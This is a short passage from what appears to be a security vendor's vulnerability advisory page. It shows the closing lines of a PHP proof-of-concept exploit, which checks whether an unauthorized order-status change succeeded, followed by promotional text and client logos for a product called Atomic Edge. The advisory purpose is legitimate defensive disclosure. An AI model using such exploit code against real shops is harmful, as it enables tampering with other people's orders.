if (strpos($response, 'Completed') !== false || strpos($response, 'success') !== false) {
    echo "[+] Order status may have been modified successfully.n";
} else {
    echo "[-] Exploit attempt may have failed.n";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School